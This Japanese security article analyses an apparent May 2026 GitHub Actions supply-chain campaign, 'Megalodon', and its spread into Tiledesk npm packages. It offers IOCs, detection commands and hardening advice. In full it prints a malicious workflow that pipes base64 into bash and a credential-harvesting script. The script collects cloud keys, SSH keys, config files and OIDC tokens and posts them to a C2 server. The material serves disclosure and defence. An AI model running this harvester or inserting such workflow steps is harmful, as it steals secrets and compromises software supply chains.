2026年5月18日UTC 11:36、GitHubの静かな午後が突如として歴史上最大規模のCI/CD攻撃によって引き裂かれた。「Megalodon(メガロドン)」と名付けられたこの攻撃は、わずか6時間12分で5,561個のGitHubリポジトリに悪意あるGitHub Actionsワークフローファイルを直接プッシュし、OIDCトークン・クラウド認証情報・SSHキーを大規模に窃取しようとした。パッケージレジストリではなくCI/CDインフラ自体を標的とした全く新しい手口が、世界のセキュリティチームに衝撃を与えた。
GitHubサプライチェーン攻撃全体の防御戦略は GitHub Actions・サプライチェーンセキュリティ完全ガイド2026 をご覧ください。
Megalodon攻撃の全体像 — 6時間で5,561リポジトリを標的に
SafeDep(Malysisエンジン)とOX Securityが発見したMegalodon攻撃は、2026年5月のCI/CDセキュリティにおける最大の事件となった。規模と手口の両面で従来のサプライチェーン攻撃とは一線を画している。
- 攻撃日時:2026年5月18日 UTC 11:36〜17:48(6時間12分)
- 被害規模:5,718件の悪意あるコミット → 5,561リポジトリ
- 発見者:SafeDep(Malysisエンジン)& OX Security
- C2サーバー:216.126.225.129:8443
- キャンペーン識別子:megalodon
- 下流被害:Tiledeskのnpmパッケージ7バージョン汚染(2.18.6〜2.18.12)
2026年5月、GitHubのサプライチェーンは複数の大規模攻撃に晒された。Mini Shai-Hulud(npm/PyPIパッケージ170本以上の乗っ取り)、TeamPCP(VS Code拡張機能経由で3,800リポジトリ侵害)と続く中、Megalodonはその規模とCI/CD直撃という手口で際立った存在だ。記録された史上最大の単一波CI/CD汚染キャンペーンと研究者は位置づけている。
攻撃のフロー図
ランダム8文字ユーザー名] --> B[窃取済みPATまたはデプロイキーで認証] B --> C{攻撃手法} C --> D[Variant 1: SysDiag
新規ci.ymlを大量プッシュ] C --> E[Variant 2: Optimize-Build
既存ワークフローを置換] D --> F[push / pull_request_targetで自動実行] E --> G[workflow_dispatchで手動トリガー待機] F --> H[Bashペイロード実行
Base64デコード] G --> H H --> I[クレデンシャル収集
AWS / GCP / Azure / SSH / OIDC] I --> J[C2サーバーへHTTP POST
216.126.225.129:8443] J --> K[攻撃者がシークレット取得] E --> L[Tiledeskワークフロー置換] L --> M[メンテナーが気づかずnpm publish] M --> N[npm 2.18.6〜2.18.12汚染]
初期侵入手法 — 偽装CIボットと使い捨てアカウント
Megalodon攻撃の最も巧妙な点はGitのauthor情報を偽造することで、悪意あるコミットを正規のCI/CDボット活動に見せかけた点だ。
攻撃者はランダムな8文字のユーザー名(例:rkb8el9r、bhlru9nr、lo6wt4t6)を持つ使い捨てGitHubアカウントを使用した。これらのアカウントは活動痕跡を最小化するために事前に作成・放棄されており、各アカウントは少数のリポジトリへのプッシュ後に活動を停止する。
| 偽装Author名 | 偽装メールアドレス | コミット数 |
|---|---|---|
| build-bot | [email protected] | 1,439件 |
| auto-ci | [email protected] | 1,439件 |
| ci-bot | [email protected] | 1,421件 |
| pipeline-bot | [email protected] | 1,420件 |
コミットメッセージも巧みに偽装された。「ci: add build optimization step」「build: improve ci performance」「chore: optimize pipeline runtime」など、定常的なCI/CD保守作業を装った文面が使われた。
OX Securityの分析で判明した特異なIOCがある。コミットには2001年9月17日というあり得ない過去日付がハードコードされたauthor dateが含まれており、これがフォレンジック上の識別指標として機能する。
PATとデプロイキーの悪用
攻撃者はどのようにしてリポジトリへの書き込み権限を取得したのか。研究者の分析によると、窃取済みのPersonal Access Token(PAT)またはデプロイキーを使ってマスターブランチに直接プッシュした可能性が高い。PRレビューゲートを完全に回避している点がこの推定を裏付ける。
PATの入手経路として現在最も有力視されている仮説は:
- 開発者環境から自動収集するインフラによるOAuthトークンのハーベスト
- 2026年5月上旬のMini Shai-HuludやTanStack攻撃波で窃取済みのCIトークンの再利用
- 公開リポジトリ・コードスニペットへの漏洩トークンのスキャン
GitHubは関連するフェイクアカウントを削除し、noreply.dev・automated.devドメインのメールアドレスをブロックしたが、PATの具体的な入手方法については公式見解を出していない。
2種類のペイロード — SysDiagとOptimize-Build
Megalodon攻撃は一つのテンプレートを使うのではなく、目的に応じた2種類のワークフローペイロードを使い分けていた。
Variant 1 — SysDiag(大量展開型)
SysDiagは新規ファイル .github/workflows/ci.yml を作成して注入する大量展開型のペイロードだ。最大の特徴はpull_request_targetトリガーの悪用にある。
name: CI Build Optimization
on:
push:
branches: ["*"]
pull_request_target:
types: [opened, synchronize]
permissions:
id-token: write # OIDCトークン取得を可能にする
actions: read
jobs:
build-opt:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Optimize build process
run: |
echo "Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0MyI7..." | base64 -d | bash
pull_request_targetトリガーが特に危険な理由は、外部フォークからのPRに対してもターゲットリポジトリのシークレットを使用してワークフローを実行する点だ。通常のpull_requestトリガーはシークレットへのアクセスが制限されているが、pull_request_targetはこの保護を回避する。GitHubは2021年に公式ドキュメントでこのリスクを警告しているが、依然として誤用されるケースが後を絶たない。
Variant 2 — Optimize-Build(標的型)
Optimize-Buildは既存のワークフローファイルを置換する、より高度な標的型ペイロードだ。Tiledeskへの攻撃では docker-community-worker-push-latest.yml が置換された。
| 比較項目 | SysDiag(大量展開型) | Optimize-Build(標的型) |
|---|---|---|
| 展開方法 | 新規ファイル作成 | 既存ファイルを上書き |
| トリガー | push / pull_request_target | workflow_dispatch のみ |
| 実行タイミング | 自動(コミット・PR発生時) | 手動(攻撃者がAPI経由でトリガー) |
| CI失敗の可視性 | 高(失敗ビルドが即座に表示) | 低(手動起動まで痕跡なし) |
| 主な標的 | 一般OSS・個人リポジトリ | 高価値ターゲット(npm maintainer等) |
| 検出難易度 | 低(新規ファイル作成が目立つ) | 高(既存ファイル置換で変化が小さい) |
| 使用された偽装ドメイン | [email protected] | [email protected] |
Optimize-Buildのworkflow_dispatch専用トリガーは巧妙な設計だ。手動起動されるまでCIの実行がゼロのため、通常の監視では検出できない。攻撃者はGitHub APIを使ってリモートから任意のタイミングでバックドアをアクティベートできる。
悪意あるBashスクリプトの内部構造 — 111行のクレデンシャルハーベスター
両ペイロードが実行するBashスクリプトはBase64エンコードで難読化されており、Q0I9Imh0dHA6Ly8yMTYuというプレフィックスで始まる。GitHubのコード検索でこの文字列を検索すると3,500件以上の感染済みYAMLファイルがヒットし、侵害規模の確認が可能だ。
デコードされたスクリプト(111行)は多段階のクレデンシャル収集を実行する:
#!/bin/bash
# 以下は解析目的での再現。実際の攻撃コードのデコード結果
CB="http://216.126.225.129:8443"
# Phase 1: 環境変数の総ダンプ
env > /tmp/.env_dump
cat /proc/1/environ >> /tmp/.env_dump 2>/dev/null
# Phase 2: AWSクレデンシャルの収集
for profile in $(aws configure list-profiles 2>/dev/null); do
aws configure get aws_access_key_id --profile "$profile" >> /tmp/.creds
aws configure get aws_secret_access_key --profile "$profile" >> /tmp/.creds
aws configure get aws_session_token --profile "$profile" >> /tmp/.creds
done
# Phase 3: クラウドIMDSからトークン取得
curl -sf -H "X-aws-ec2-metadata-token: $(curl -sf -X PUT \
'http://169.254.169.254/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/ >> /tmp/.creds
# Phase 4: ファイルシステムからのシークレット取得
find ~/.ssh -name "id_*" ! -name "*.pub" -exec cat {} \; >> /tmp/.ssh_keys
cat ~/.docker/config.json 2>/dev/null >> /tmp/.creds
cat ~/.npmrc 2>/dev/null >> /tmp/.creds
cat ~/.kube/config 2>/dev/null >> /tmp/.creds
# Phase 5: OIDCトークンの取得(id-token: writeパーミッション必須)
OIDC_TOKEN=$(curl -sf -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')
# Phase 6: C2へのExfiltration
curl -sf -X POST "$CB/collect?campaign=megalodon" \
-F "env=@/tmp/.env_dump" \
-F "creds=@/tmp/.creds" \
-F "ssh=@/tmp/.ssh_keys" \
-F "oidc=$OIDC_TOKEN"
Phase 5のOIDCトークン収集が特に危険だ。GitHub ActionsのOIDCトークンはAWS・GCP・Azureへのパスワードレス認証に使用される短期トークンだが、有効期間内に窃取されれば攻撃者はそのIDでクラウドリソースに直接アクセスできる。長期間有効なPATとは異なり、OIDCトークンのローテーションは困難で、有効期間内の被害を防ぐにはワークフロー実行自体を止める必要がある。
スクリプトが収集する情報は30種類以上に及ぶ:
- CI/CDシークレット: GITHUB_TOKEN、GitLab/Bitbucketトークン、シェル履歴
- AWSクレデンシャル: アクセスキー・シークレットキー・セッショントークン・IAMロール
- GCPトークン:
gcloud auth print-access-tokenの出力 - Azureトークン: Instance Metadata Serviceからのマネージドアイデンティティトークン
- SSHキー:
~/.ssh/配下のすべてのプライベートキー - コンテナ認証: Docker設定・kubeconfig・Helmチャート
- パッケージマネージャー: .npmrc・.netrc・.pypirc
- Infrastructure as Code: Terraform credentials・Vault tokens・Ansible vault
Tiledesk事例 — 上流汚染がnpmパッケージに波及した実例
Megalodon攻撃の中で最も深刻な被害を受けたのがオープンソースのライブチャット・チャットボットプラットフォームTiledeskだ。この事例はCI/CDワークフロー汚染がいかに下流のパッケージエコシステムまで波及するかを示す教科書的な実例となった。
汚染の連鎖
Megalodon攻撃者は2026年5月18日、Tiledeskの9つのリポジトリにOptimize-Buildペイロードを注入した:
- tiledesk-server
- tiledesk-dashboard
- tiledesk-telegram-connector
- tiledesk-llm
- tiledesk-docker-proxy
- tiledesk-community-app
- tiledesk-campaign-dashboard
- tiledesk-helpcenter-template
- tiledesk-ai
重要なのは、アプリケーションのソースコードは一切改変されていない点だ。攻撃者が変更したのは.github/workflows/ディレクトリのワークフローファイルのみだった。これが検出を困難にした最大の要因だ。
- 攻撃者がTiledeskのDockerビルドワークフローを悪意あるOptimize-Buildに置換
- Tiledeskのメンテナーはワークフローの変更に気づかず、通常通りnpm publishを実行
- publishのCI/CDプロセスで悪意あるワークフローが実行され、攻撃者がnpmトークンを取得
- 取得したnpmトークンで攻撃者は直接npm publishが可能な状態に(ただし実際には悪用せず)
- メンテナー自身が5月19〜21日に7バージョンを公開 → すべてが汚染済みCI経由
汚染されたnpmバージョン:@tiledesk/tiledesk-server 2.18.6〜2.18.12(7バージョン)
SafeDepのMalysisエンジンが@tiledesk/[email protected]のバンドルされたワークフローファイル内でペイロードを検出したことで初めて汚染が判明した。攻撃者はnpmの認証情報に一切アクセスしていない。これが従来の「npmアカウントハイジャック型」攻撃との根本的な違いだ。
この手口が恐ろしい点は、メンテナーが完全に善意で行動していても汚染が発生することだ。開発者のローカル環境を感染させる必要も、npmのクレデンシャルを盗む必要もない。CI/CDパイプライン自体を汚染すれば、メンテナーの通常業務がそのまま攻撃ベクターになる。
侵害の痕跡(IOC)一覧
Megalodon攻撃の識別と調査に使用できるIndicator of Compromise(IOC)を整理する。
- C2 IPアドレス: 216.126.225.129
- C2ポート: 8443
- キャンペーン識別パラメータ: megalodon
- プロトコル: HTTPS(自己署名証明書)
- 偽装メールドメイン: noreply.dev、automated.dev、buildbot.dev、pipelinebot.dev
- 偽装Author名: build-bot、auto-ci、ci-bot、pipeline-bot
- 異常な過去日付: 2001年9月17日(ハードコードされたauthor date)
- ユーザー名パターン: 8文字のランダム英数字
- Tiledeskの特定コミットハッシュ: acac5a9854650c4ae2883c4740bf87d34120c038
- Base64シグネチャ: Q0I9Imh0dHA6Ly8yMTYu(ペイロードの正規検出シグネチャ)
- 新規作成ファイル: .github/workflows/ci.yml
- 改ざん対象ファイル例: .github/workflows/docker-community-worker-push-latest.yml
- 危険パーミッション: id-token: write を持つ不審なワークフロー
- 汚染パッケージ: @tiledesk/tiledesk-server 2.18.6〜2.18.12
- 汚染期間: 2026年5月19〜21日
緊急検出コマンド — 今すぐリポジトリを確認する
被害を受けているかどうかを迅速に確認するための3つの検出コマンドを示す。
# 検出コマンド 1: 偽装CIボットコミットの検索
# 2026年5月15日以降の疑わしいauthor名を持つコミットをすべて表示
git log --all --since="2026-05-15" \
--author="build-bot\|auto-ci\|ci-bot\|pipeline-bot" \
--pretty=format:"%H %ai %ae %s"
# 検出コマンド 2: OIDCパーミッション昇格ワークフローの発見
# id-token: write が設定されたワークフローを列挙(正規のものも含まれるため要精査)
find .github/workflows -name "*.yml" -exec \
grep -l "id-token: write" {} \; | while read f; do
echo "=== $f ==="; grep -n "id-token\|name:\|on:" "$f"
done
# 検出コマンド 3: Megalodonペイロードのシグネチャ検索
# GitHub Code SearchでもQ0I9Imh0dHA6Ly8yMTYuを検索可能(3500件以上ヒット)
grep -rEn "Q0I9Imh0dHA6Ly8yMTYu" .github/
上記コマンドのほか、以下も確認が推奨される:
- Actionsタブで確認: 2026年5月18日前後に予期しない
workflow_dispatch実行がないか確認 - CIログ確認:
216.126.225.129:8443へのアウトバウンド通信がないかログを精査 - コントリビューター確認: 見覚えのない8文字のユーザー名からのコミットがないか
git log --all --format='%ae %an'で確認
防御策と恒久対応 — 侵害後・予防の両面から
侵害後の緊急対応
- ワークフローを元に戻す:
[email protected]または[email protected]からのコミットをgit revertし、正規のワークフローに戻す - PAT・デプロイキーを無効化: GitHubの設定でリポジトリの全PAT・デプロイキーを一時停止し、棚卸し後に必要なものだけ再発行
- クラウド監査ログの確認: AWSのCloudTrail、GCPのCloud Logging、AzureのMonitor Logsで2026年5月18日前後の異常なAPIコールを確認
- OIDCログの調査: 不明なワークフラン実行からのOIDCトークンリクエストがないか確認
恒久的な防御措置
# セキュアなGitHub Actionsワークフローの設計例
name: Secure Build Pipeline
on:
push:
branches: ["main", "develop"]
pull_request:
# pull_request_target の代わりに pull_request を使用
branches: ["main"]
# 最小権限の原則: 必要なパーミッションのみ付与
permissions:
contents: read # デフォルトを明示
# id-token: write # OIDC不要なら絶対に付与しない
jobs:
build:
runs-on: ubuntu-latest
# 外部PRは手動承認を要求
environment: $
steps:
# コミットSHAにピン: ミュータブルタグ(v4)ではなくSHAを使用
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
# サードパーティアクションも同様にSHAにピン
- uses: actions/setup-node@1d0ff469b12de8e0b65fa85b7da43b01900b03ef # v4.2.0
with:
node-version: "20"
組織レベルの防御策
| 対策 | 優先度 | 効果 |
|---|---|---|
| アクションをコミットSHAにピン | 高 | タグ書き換え攻撃を無効化 |
| pull_request_targetを禁止または承認ゲート設置 | 高 | フォークPR経由の攻撃を防止 |
| Trusted Publishingへ移行(npm/PyPI) | 高 | 長期PAT不要でnpmトークン盗難リスク排除 |
| ワークフロー変更のCODEOWNERS設定 | 高 | .github/workflows/への変更を必須レビュー化 |
| OIDC使用状況の定期監査 | 中 | 不正なid-token: write付与を早期発見 |
| TruffleHog/gitleaksの導入 | 中 | トークン漏洩をCI段階で検出 |
| C2 IP(216.126.225.129)のブロック | 中 | ペイロード実行時の窃取を防止 |
| GitHub Auditログの定期確認 | 中 | 不審なデプロイキー追加・PAT作成を検知 |
Trusted Publishingへの移行
2026年5月19日、npm(GitHub)はMini Shai-Huludパターンへの対応として「2FAをバイパスする書き込みアクセス付きgranularトークン」を一括無効化した。同時にTrusted Publishing(OIDCベース、長期トークン不要)の採用を強く推奨している。
Trusted Publishingを導入すれば、攻撃者がCI/CDワークフローを完全に制御したとしても、そのOIDCトークンはnpmへのpublish権限にバインドされた短期トークンのみを発行する形になり、PAT窃取による任意npm publishのリスクが大幅に低下する。ただし研究者が指摘するように、CI/CDワークフロー注入攻撃そのものはTrusted Publishingでは防げない点に注意が必要だ。
2026年5月の攻撃波における位置づけ
Megalodonは孤立した攻撃ではなく、2026年5月に発生した一連のCI/CDサプライチェーン攻撃の一環として理解する必要がある。
| 攻撃名 | 攻撃ベクター | 規模 | 手口 |
|---|---|---|---|
| Mini Shai-Hulud | npm/PyPIアカウントハイジャック | 170本以上、639バージョン | @antvなど公式パッケージへのマルウェア混入 |
| Grafana Labs侵害 | CIトークン窃取 → GitHubアクセス | コードベース・連絡先流出 | TanStack攻撃で取得したCIトークンを悪用 |
| TeamPCP | VS Code拡張機能 + 内部GitHubリポジトリ | 3,800リポジトリ | 拡張機能経由でGitHub認証情報を収集 |
| Megalodon | GitHub Actionsワークフロー注入 | 5,561リポジトリ、6時間 | CI/CDインフラ直撃・OIDC窃取 |
Megalodonが他の攻撃と異なる点は、パッケージレジストリレベルの防御を完全にバイパスすることだ。npm/PyPIのアカウント2FA強化・トークン有効期限短縮・Trusted Publishing採用といった施策はいずれもMegalodon型の攻撃には無効だ。GitHub Actionsワークフローファイル自体のインテグリティ保護が新たな防御の最前線となっている。
The Hacker NewsはMegalodonをTeamPCPに帰属させているが、The Registerほか複数の研究者はこの帰属を投機的と見ており、コードの共有証拠は確認されていない。現時点での研究者コンセンサスは「TeamPCPの行動パターンを模倣した独立したアクター」というものだ。
まとめ — CI/CDパイプラインが新たな戦場になった
Megalodon攻撃は、ソフトウェアサプライチェーンセキュリティにおける重大な認識の転換を促している。
これまでのサプライチェーン攻撃対策は主に「悪意あるパッケージを使わない」という防御(依存関係スキャン、SBOMの維持、パッケージ署名の検証)に集中していた。しかしMegalodonが示したのは、攻撃者はパッケージそのものではなくCI/CDワークフローを汚染することで、メンテナー自身の手でサプライチェーンを汚染させるという逆転の発想だ。
Tiledesk事例が象徴するように、アプリケーションコードに一行も触れることなく、ワークフローファイルの置換だけで:
- CI/CD上のあらゆるシークレットを取得
- クラウドリソースへの不正アクセス
- 下流パッケージエコシステムへの汚染拡大
が可能になる。
DevSecOpsの文脈で言えば、.github/workflows/ディレクトリはアプリケーションコードと同等かそれ以上のセキュリティ管理が必要だ。CODEOWNERSによるレビュー強制、変更ログの継続的な監視、アクションのSHAピン、最小権限原則の徹底が今後の標準的なセキュリティ姿勢となるだろう。
GitHubサプライチェーン攻撃の具体的な防御手法については GitHub ActionsセキュリティとDevOps自動化の最前線 も合わせて参照してほしい。